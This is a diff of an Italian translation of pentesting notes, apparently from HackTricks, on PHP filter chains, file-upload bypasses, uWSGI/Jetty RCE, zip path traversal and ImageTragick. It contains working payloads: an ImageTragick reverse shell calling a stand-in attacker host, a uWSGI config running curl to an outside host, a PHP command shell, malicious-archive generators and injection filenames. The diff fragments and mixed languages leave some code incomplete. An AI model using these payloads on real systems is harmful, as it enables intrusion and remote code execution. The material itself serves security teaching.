`php://temp` come risorsa** perché può **avere qualsiasi cosa aggiunta nel nome** (tipo +".php") e permetterà comunque all'exploit di funzionare! +> Gli include di solito fanno cose come aggiungere ".php" alla fine del file, il che può complicare l'exploitation perché dovresti trovare un file .php con un contenuto che non uccida l'exploit... oppure puoi semplicemente usare `php://temp` come risorsa perché può avere qualsiasi cosa aggiunta al nome (es. lie + ".php") e permetterà comunque all'exploit di funzionare! ## Come aggiungere anche suffissi ai dati risultanti -[**Questo writeup spiega**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) come puoi ancora abusare dei filtri PHP per aggiungere suffissi alla stringa risultante. Questo è ottimo nel caso tu abbia bisogno che l'output abbia un formato specifico (come json o magari aggiungendo alcuni byte magici PNG) +[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) come è ancora possibile abusare dei PHP filters per aggiungere suffissi alla stringa risultante. Questo è utile nel caso in cui l'output debba avere un formato specifico (per esempio json o aggiungere alcuni magic bytes di PNG). ## Strumenti automatici - [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator) -- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(può aggiungere suffissi)** +- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)** -## Full script +## Script completo ```python import requests @@ -95,7 +96,7 @@ print(r.text) ``` ### Miglioramenti -Lo script precedente è limitato ai caratteri base64 necessari per quel payload. Pertanto, ho creato il mio script per **bruteforce tutti i caratteri base64**: +Lo script precedente è limitato ai caratteri base64 necessari per quel payload. Perciò, ho creato il mio script per eseguire un **bruteforce di tutti i caratteri base64**: ```php conversions = { '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', @@ -164,7 +165,7 @@ conversions = { '=': '' } ``` -Ecco lo **script** per ottenere le codifiche che generano ciascuna lettera b64: +Ecco lo **script** per ottenere le codifiche che generano ogni lettera b64: ```php AAA.php +6. Prova a mettere l'**estensione eseguibile prima** dell'estensione valida e spera che il server sia mal configurato. (utile per sfruttare misconfigurazioni Apache dove qualsiasi cosa con estensione** _**.php**_**, ma** non necessariamente terminante in .php** eseguirà codice): +- _ex: file.php.png_ +7. Uso degli **NTFS alternate data stream (ADS)** in **Windows**. In questo caso verrà inserito il carattere due punti ":" dopo un'estensione proibita e prima di una permessa. Di conseguenza verrà creato sul server un **file vuoto con l'estensione proibita** (es. "file.asax:.jpg”). Questo file potrebbe poi essere modificato usando altre tecniche come il short filename. Il pattern "**::$data**” può anche essere usato per creare file non vuoti. Pertanto, aggiungere un punto dopo questo pattern potrebbe essere utile per bypassare ulteriori restrizioni (es. "file.asp::$data.”) +8. Prova a superare i limiti sul nome file. L'estensione valida viene troncata. E il PHP maligno rimane. AAA<--SNIP-->AAA.php ``` -# Linux massimo 255 byte +# Linux maximum 255 bytes /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 -Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # meno 4 qui e aggiungendo .png -# Carica il file e controlla la risposta su quanti caratteri consente. Diciamo 236 +Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png +# Upload the file and check response how many characters it alllows. Let's say 236 python -c 'print "A" * 232' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -# Crea il payload +# Make the payload AAA<--SNIP 232 A-->AAA.php.png ``` -### Bypass Content-Type, Magic Number, Compression & Resizing +### Bypass di Content-Type, Magic Number, Compression & Resizing -- Bypass **Content-Type** controlli impostando il **valore** dell'**intestazione Content-Type** a: _image/png_, _text/plain_, application/octet-stream_ -1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- Bypass **magic number** controllando aggiungendo all'inizio del file i **byte di una vera immagine** (confondere il comando _file_). Oppure introduci la shell all'interno dei **metadati**:\ +- Bypass dei controlli sul **Content-Type** impostando il **valore** dell'header **Content-Type** su: _image/png_ , _text/plain , application/octet-stream_ +1. Wordlist per Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) +- Bypass del controllo del **magic number** aggiungendo all'inizio del file i **byte di una vera immagine** (confondi il comando _file_). Oppure inserisci la shell nei **metadata**:\ `exiftool -Comment="' >> img.png` -- Se **compressione viene aggiunta alla tua immagine**, ad esempio utilizzando alcune librerie PHP standard come [PHP-GD](https://www.php.net/manual/fr/book.image.php), le tecniche precedenti non saranno utili. Tuttavia, puoi usare la **tecnica del chunk PLTE** [**definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**. -- [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- La pagina web potrebbe anche **ridimensionare** l'**immagine**, utilizzando ad esempio le funzioni PHP-GD `imagecopyresized` o `imagecopyresampled`. Tuttavia, puoi usare la **tecnica del chunk IDAT** [**definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**. -- [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- Un'altra tecnica per creare un payload che **sopravvive a un ridimensionamento dell'immagine**, utilizzando la funzione PHP-GD `thumbnailImage`. Tuttavia, puoi usare la **tecnica del chunk tEXt** [**definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**. -- [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) +- Se viene applicata una **compressione** all'immagine, per esempio usando librerie PHP standard come [PHP-GD](https://www.php.net/manual/fr/book.image.php), le tecniche precedenti non saranno utili. Tuttavia, puoi usare il chunk **PLTE** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravvive alla compressione**. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) +- La pagina web potrebbe anche **ridimensionare** l'**immagine**, usando per esempio le funzioni PHP-GD `imagecopyresized` o `imagecopyresampled`. Tuttavia, puoi usare il chunk **IDAT** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravvive alla compressione**. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) +- Un'altra tecnica per creare un payload che **sopravvive a un ridimensionamento dell'immagine**, usando la funzione PHP-GD `thumbnailImage`. In alternativa, puoi usare il chunk **tEXt** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravvive alla compressione**. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) -### Other Tricks to check +### Altri trucchi da controllare -- Trova una vulnerabilità per **rinominare** il file già caricato (per cambiare l'estensione). +- Trova una vulnerabilità che permetta di **rinominare** il file già caricato (per cambiare l'estensione). - Trova una vulnerabilità di **Local File Inclusion** per eseguire il backdoor. -- **Possibile divulgazione di informazioni**: +- **Possibili Information disclosure**: 1. Carica **più volte** (e **allo stesso tempo**) lo **stesso file** con lo **stesso nome** 2. Carica un file con il **nome** di un **file** o **cartella** che **esiste già** -3. Caricamento di un file con **“.”, “..”, o “…” come nome**. Ad esempio, in Apache in **Windows**, se l'applicazione salva i file caricati nella directory “/www/uploads/”, il nome file “.” creerà un file chiamato “uploads” nella directory “/www/”. -4. Carica un file che potrebbe non essere facilmente eliminato come **“…:.jpg”** in **NTFS**. (Windows) -5. Carica un file in **Windows** con **caratteri non validi** come `|<>*?”` nel suo nome. (Windows) -6. Carica un file in **Windows** usando **nomi riservati** (**vietati**) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9. -- Prova anche a **caricare un eseguibile** (.exe) o un **.html** (meno sospetto) che **eseguirà codice** quando accidentalmente aperto dalla vittima. +3. Caricare un file con nome **"." , ".." o "…”**. Per esempio, in Apache su **Windows**, se l'applicazione salva i file caricati in "/www/uploads/" il filename "." creerà un file chiamato "uploads" in "/www/". +4. Carica un file che potrebbe non essere facilmente eliminabile come **"…:.jpg”** in **NTFS**. (Windows) +5. Carica un file in **Windows** con **caratteri non validi** come `|<>*?”` nel nome. (Windows) +6. Carica un file in **Windows** usando nomi **riservati** (**vietati**) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9. +- Prova anche a **caricare un eseguibile** (.exe) o un **.html** (meno sospetto) che **eseguirà codice** se accidentalmente aperto dalla vittima. -### Special extension tricks +### Trucchi speciali con le estensioni -Se stai cercando di caricare file su un **server PHP**, [dai un'occhiata al trucco **.htaccess** per eseguire codice](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ -Se stai cercando di caricare file su un **server ASP**, [dai un'occhiata al trucco **.config** per eseguire codice](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +Se stai cercando di caricare file su un **PHP server**, [dai un'occhiata al trucco **.htaccess** per eseguire codice](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ +Se stai cercando di caricare file su un **ASP server**, [dai un'occhiata al trucco **.config** per eseguire codice](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). -I file `.phar` sono come i `.jar` per java, ma per php, e possono essere **usati come un file php** (eseguendolo con php, o includendolo all'interno di uno script...) +I file `.phar` sono come i `.jar` per java, ma per php, e possono essere **usati come un file php** (eseguendoli con php, o includendoli dentro uno script...) -L'estensione `.inc` è a volte usata per file php che sono solo usati per **importare file**, quindi, a un certo punto, qualcuno potrebbe aver permesso **questa estensione di essere eseguita**. +L'estensione `.inc` è a volte usata per file php che vengono soltanto **inclusi**, quindi, in alcuni casi, qualcuno potrebbe aver permesso che **questa estensione venga eseguita**. ## **Jetty RCE** -Se puoi caricare un file XML su un server Jetty puoi ottenere [RCE perché **nuovi \*.xml e \*.war vengono elaborati automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Quindi, come menzionato nell'immagine seguente, carica il file XML in `$JETTY_BASE/webapps/` e aspettati la shell! +If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ## **uWSGI RCE** -Per un'esplorazione dettagliata di questa vulnerabilità controlla la ricerca originale: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). +For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Le vulnerabilità di Remote Command Execution (RCE) possono essere sfruttate nei server uWSGI se si ha la capacità di modificare il file di configurazione `.ini`. I file di configurazione uWSGI sfruttano una sintassi specifica per incorporare variabili "magiche", segnaposto e operatori. In particolare, l'operatore '@', utilizzato come `@(filename)`, è progettato per includere i contenuti di un file. Tra i vari schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, consentendo la lettura dei dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi nefasti come Remote Command Execution o Arbitrary File Write/Read quando un file di configurazione `.ini` viene elaborato. +Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed. -Considera il seguente esempio di un file `uwsgi.ini` dannoso, che mostra vari schemi: +Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes: ```ini [uwsgi] ; read from a symbol @@ -126,14 +126,15 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -L'esecuzione del payload avviene durante l'analisi del file di configurazione. Affinché la configurazione venga attivata e analizzata, il processo uWSGI deve essere riavviato (potenzialmente dopo un crash o a causa di un attacco di Denial of Service) oppure il file deve essere impostato per il caricamento automatico. La funzione di caricamento automatico, se abilitata, ricarica il file a intervalli specificati al rilevamento di modifiche. +L'esecuzione del payload avviene durante il parsing del file di configurazione. Perché la configurazione venga attivata e parsata, il processo uWSGI deve essere riavviato (potenzialmente dopo un crash o a causa di un attacco Denial of Service) oppure il file deve essere impostato su auto-reload. La funzionalità di auto-reload, se abilitata, ricarica il file a intervalli specificati quando vengono rilevate modifiche. -È fondamentale comprendere la natura permissiva dell'analisi del file di configurazione di uWSGI. In particolare, il payload discusso può essere inserito in un file binario (come un'immagine o un PDF), ampliando ulteriormente l'ambito di potenziale sfruttamento. +È cruciale comprendere la natura permissiva del parsing del file di configurazione di uWSGI. Nello specifico, il payload discusso può essere inserito in un file binario (ad esempio un'immagine o un PDF), ampliando ulteriormente la portata della possibile exploitation. ## **wget File Upload/SSRF Trick** -In alcune occasioni potresti scoprire che un server sta utilizzando **`wget`** per **scaricare file** e puoi **indicare** l'**URL**. In questi casi, il codice potrebbe controllare che l'estensione dei file scaricati sia all'interno di una whitelist per garantire che vengano scaricati solo file consentiti. Tuttavia, **questo controllo può essere eluso.**\ -La **lunghezza massima** di un **nome file** in **linux** è **255**, tuttavia, **wget** tronca i nomi dei file a **236** caratteri. Puoi **scaricare un file chiamato "A"\*232+".php"+".gif"**, questo nome file **eluderà** il **controllo** (poiché in questo esempio **".gif"** è un'estensione **valida**) ma `wget` **rinominerà** il file in **"A"\*232+".php"**. +In alcune occasioni potresti trovare che un server stia usando **`wget`** per **scaricare file** e puoi **indicare** l'**URL**. In questi casi, il codice potrebbe verificare che l'estensione dei file scaricati sia presente in una whitelist per assicurarsi che vengano scaricati solo file consentiti. Tuttavia, **questo controllo può essere bypassato.**\ + +La **lunghezza massima** di un **filename** in **linux** è **255**, tuttavia **wget** tronca i nomi di file a **236** caratteri. Puoi **scaricare un file chiamato "A"\*232+".php"+".gif"**, questo filename **bypasserà** il **controllo** (come in questo esempio **".gif"** è un'estensione **valida**) ma `wget` **rinominerà** il file in **"A"\*232+".php"**. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -156,31 +157,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Nota che **un'altra opzione** che potresti considerare per bypassare questo controllo è far **reindirizzare il server HTTP a un file diverso**, in modo che l'URL iniziale bypassi il controllo e poi wget scaricherà il file reindirizzato con il nuovo nome. Questo **non funzionerà** **a meno che** wget non venga utilizzato con il **parametro** `--trust-server-names` perché **wget scaricherà la pagina reindirizzata con il nome del file indicato nell'URL originale**. +Nota che **un'altra opzione** a cui potresti pensare per bypassare questo controllo è far sì che il **server HTTP reindirizzi a un file diverso**, così l'URL iniziale bypasserà il controllo e poi wget scaricherà il file reindirizzato con il nuovo nome. Questo **non funzionerà** **a meno che** wget non sia usato con il **parametro** `--trust-server-names` perché **wget scaricherà la pagina reindirizzata con il nome del file indicato nell'URL originale**. ## Strumenti -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) è uno strumento potente progettato per assistere i Pentester e i Bug Hunter nel testare i meccanismi di upload dei file. Sfrutta varie tecniche di bug bounty per semplificare il processo di identificazione e sfruttamento delle vulnerabilità, garantendo valutazioni approfondite delle applicazioni web. +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) è un tool potente progettato per assistere Pentesters e Bug Hunters nel testing dei meccanismi di file upload. Sfrutta varie tecniche di bug bounty per semplificare il processo di identificazione e sfruttamento delle vulnerabilità, garantendo valutazioni approfondite delle applicazioni web. -## Da upload di file ad altre vulnerabilità +### Corruzione degli indici di upload con le stranezze di snprintf (storico) + +Alcuni handler di upload legacy che usano `snprintf()` o simili per costruire array multi-file da un singolo upload possono essere ingannati nel forgiare la struttura `_FILES`. A causa di incoerenze e troncamenti nel comportamento di `snprintf()`, un singolo upload attentamente costruito può apparire come più file indicizzati lato server, confondendo la logica che assume una forma rigorosa (es. trattandolo come un upload multi-file e prendendo branch non sicuri). Pur essendo oggi di nicchia, questo pattern di “index corruption” riemerge occasionalmente in CTF e in codebase più vecchie. + +## From File upload to other vulnerabilities - Imposta **filename** su `../../../tmp/lol.png` e prova a ottenere un **path traversal** -- Imposta **filename** su `sleep(10)-- -.jpg` e potresti essere in grado di ottenere una **SQL injection** -- Imposta **filename** su `` per ottenere un XSS -- Imposta **filename** su `; sleep 10;` per testare alcune iniezioni di comandi (altri [trucchi di iniezione di comandi qui](../command-injection.md)) -- [**XSS** nel caricamento di file immagine (svg)](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) -- **JS** file **upload** + **XSS** = [**exploitation di Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) -- [**XXE in upload svg**](../xxe-xee-xml-external-entity.md#svg-file-upload) -- [**Open Redirect** tramite upload di file svg](../open-redirect.md#open-redirect-uploading-svg-files) +- Imposta **filename** su `sleep(10)-- -.jpg` e potresti ottenere una **SQL injection** +- Imposta **filename** su `` per ottenere una XSS +- Imposta **filename** su `; sleep 10;` per testare qualche command injection (altre [command injections tricks here](../command-injection.md)) +- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) +- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) +- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload) +- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) - Prova **diversi payload svg** da [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) - [Famosa vulnerabilità **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -- Se puoi **indicare al server web di catturare un'immagine da un URL** potresti provare ad abusare di un [SSRF](../ssrf-server-side-request-forgery/index.html). Se questa **immagine** verrà **salvata** in qualche sito **pubblico**, potresti anche indicare un URL da [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **rubare informazioni di ogni visitatore**. -- [**XXE e CORS** bypass con upload PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md) -- PDF appositamente creati per XSS: La [seguente pagina presenta come **iniettare dati PDF per ottenere l'esecuzione di JS**](../xss-cross-site-scripting/pdf-injection.md). Se puoi caricare PDF, potresti preparare alcuni PDF che eseguiranno JS arbitrario seguendo le indicazioni date. -- Carica il \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) contenuto per controllare se il server ha qualche **antivirus** -- Controlla se c'è qualche **limite di dimensione** caricando file +- Se puoi indicare al web server di recuperare un'immagine da un URL potresti provare ad abusare di una [SSRF](../ssrf-server-side-request-forgery/index.html). Se questa **image** verrà **salvata** in qualche sito **pubblico**, potresti anche indicare un URL da [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **rubare informazioni di ogni visitatore**. +- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) +- PDF appositamente creati per XSS: la pagina seguente mostra come **inject PDF data to obtain JS execution** (se puoi uploadare PDF potresti preparare un PDF che eseguirà JS arbitrario seguendo le indicazioni fornite) — [../xss-cross-site-scripting/pdf-injection.md](../xss-cross-site-scripting/pdf-injection.md) +- Carica il \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content per verificare se il server ha un **antivirus** +- Verifica se esiste un **size limit** nel caricamento dei file -Ecco una lista delle 10 cose che puoi ottenere caricando (da [qui](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): +Ecco una top 10 delle cose che puoi ottenere caricando (da [qui](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE 2. **SVG**: Stored XSS / SSRF / XXE @@ -193,7 +198,8 @@ Ecco una lista delle 10 cose che puoi ottenere caricando (da [qui](https://twitt 9. **ZIP**: RCE via LFI / DoS 10. **PDF / PPTX**: SSRF / BLIND XXE -#### Estensione Burp +#### Burp Extension + {{#ref}} https://github.com/portswigger/upload-scanner @@ -204,34 +210,34 @@ https://github.com/portswigger/upload-scanner - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` - **JPG**: `"\xff\xd8\xff"` -Fai riferimento a [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) per altri tipi di file. +Fai riferimento a [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) per altri filetypes. -## Upload di file Zip/Tar automaticamente decompressi +## Zip/Tar File Automatically decompressed Upload -Se puoi caricare un ZIP che verrà decompresso all'interno del server, puoi fare 2 cose: +Se puoi uploadare uno ZIP che verrà decompresso all'interno del server, puoi fare 2 cose: ### Symlink -Carica un link contenente collegamenti simbolici ad altri file, quindi, accedendo ai file decompressi accederai ai file collegati: +Carica un archivio contenente soft link verso altri file; poi, accedendo ai file decompressi accederai ai file linkati: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt tar -cvf test.tar symindex.txt ``` -### Decompress in different folders +### Decomprimere in cartelle diverse -La creazione imprevista di file in directory durante la decompressione è un problema significativo. Nonostante le assunzioni iniziali che questa configurazione potesse proteggere contro l'esecuzione di comandi a livello di OS tramite caricamenti di file dannosi, il supporto per la compressione gerarchica e le capacità di traversamento delle directory del formato ZIP possono essere sfruttati. Questo consente agli attaccanti di eludere le restrizioni e di uscire dalle directory di upload sicure manipolando la funzionalità di decompressione dell'applicazione mirata. +La creazione inattesa di file in directory durante la decompressione è un problema significativo. Nonostante l'ipotesi iniziale che questa configurazione potesse impedire OS-level command execution tramite upload di file malevoli, il supporto alla compressione gerarchica e le capacità di directory traversal del ZIP archive format possono essere sfruttati. Questo permette agli attaccanti di bypassare le restrizioni ed evadere le directory di upload sicure manipolando la funzionalità di decompressione dell'applicazione target. -Un exploit automatizzato per creare tali file è disponibile su [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). L'utilità può essere utilizzata come mostrato: +Un exploit automatizzato per creare tali file è disponibile su [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). L'utilità può essere usata come mostrato: ```python # Listing available options python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -Inoltre, il **trucco del symlink con evilarc** è un'opzione. Se l'obiettivo è mirare a un file come `/flag.txt`, dovrebbe essere creato un symlink a quel file nel tuo sistema. Questo assicura che evilarc non incontri errori durante il suo funzionamento. +Inoltre, il **symlink trick with evilarc** è un'opzione. Se l'obiettivo è mirare a un file come `/flag.txt`, dovrebbe essere creato un symlink a quel file nel tuo sistema. Questo garantisce che evilarc non incontri errori durante il suo funzionamento. -Di seguito è riportato un esempio di codice Python utilizzato per creare un file zip malevolo: +Di seguito un esempio di codice Python utilizzato per creare un zip file malevolo: ```python #!/usr/bin/python import zipfile @@ -249,11 +255,11 @@ zip.close() create_zip() ``` -**Abusare della compressione per il file spraying** +**Abuso della compressione per file spraying** -Per ulteriori dettagli **controlla il post originale in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) +Per maggiori dettagli **consulta il post originale su**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **Creazione di una Shell PHP**: Il codice PHP è scritto per eseguire comandi passati attraverso la variabile `$_REQUEST`. +1. **Creazione di una PHP Shell**: Il codice PHP viene scritto per eseguire comandi passati tramite la variabile `$_REQUEST`. ```php ``` -2. **File Spraying e Creazione di File Compressi**: Vengono creati più file e viene assemblato un archivio zip contenente questi file. +2. **File Spraying and Compressed File Creation**: Vengono creati più file e viene assemblato un archivio zip contenente questi file. ```bash root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# zip cmd.zip xx*.php ``` -3. **Modifica con un Hex Editor o vi**: I nomi dei file all'interno dello zip vengono modificati utilizzando vi o un hex editor, cambiando "xxA" in "../" per attraversare le directory. +3. **Modifica con un hex editor o vi**: I nomi dei file all'interno dello zip vengono modificati usando vi o un hex editor, cambiando "xxA" in "../" per attraversare le directory. ```bash :set modifiable @@ -280,40 +286,40 @@ root@s2crew:/tmp# zip cmd.zip xx*.php ## ImageTragic -Carica questo contenuto con un'estensione di immagine per sfruttare la vulnerabilità **(ImageMagick , 7.0.1-1)** (forma dell' [exploit](https://www.exploit-db.com/exploits/39767)) +Carica questo contenuto con un'estensione immagine per sfruttare la vulnerabilità **(ImageMagick , 7.0.1-1)** (dall'[exploit](https://www.exploit-db.com/exploits/39767)) ``` push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' pop graphic-context ``` -## Incorporare PHP Shell in PNG +## Embedding PHP Shell on PNG -Incorporare un PHP shell nel chunk IDAT di un file PNG può bypassare efficacemente certe operazioni di elaborazione delle immagini. Le funzioni `imagecopyresized` e `imagecopyresampled` di PHP-GD sono particolarmente rilevanti in questo contesto, poiché sono comunemente utilizzate per ridimensionare e campionare nuovamente le immagini, rispettivamente. La capacità del PHP shell incorporato di rimanere inalterato da queste operazioni è un vantaggio significativo per alcuni casi d'uso. +Incorporare una PHP shell nel chunk IDAT di un file PNG può bypassare efficacemente alcune operazioni di elaborazione delle immagini. Le funzioni `imagecopyresized` e `imagecopyresampled` di PHP-GD sono particolarmente rilevanti in questo contesto, essendo comunemente usate per ridimensionare e ricampionare le immagini, rispettivamente. La capacità della PHP shell incorporata di rimanere inalterata da queste operazioni è un vantaggio significativo per alcuni casi d'uso. -Un'esplorazione dettagliata di questa tecnica, inclusa la sua metodologia e le potenziali applicazioni, è fornita nel seguente articolo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Questa risorsa offre una comprensione completa del processo e delle sue implicazioni. +Un'esplorazione dettagliata di questa tecnica, inclusa la metodologia e le potenziali applicazioni, è fornita 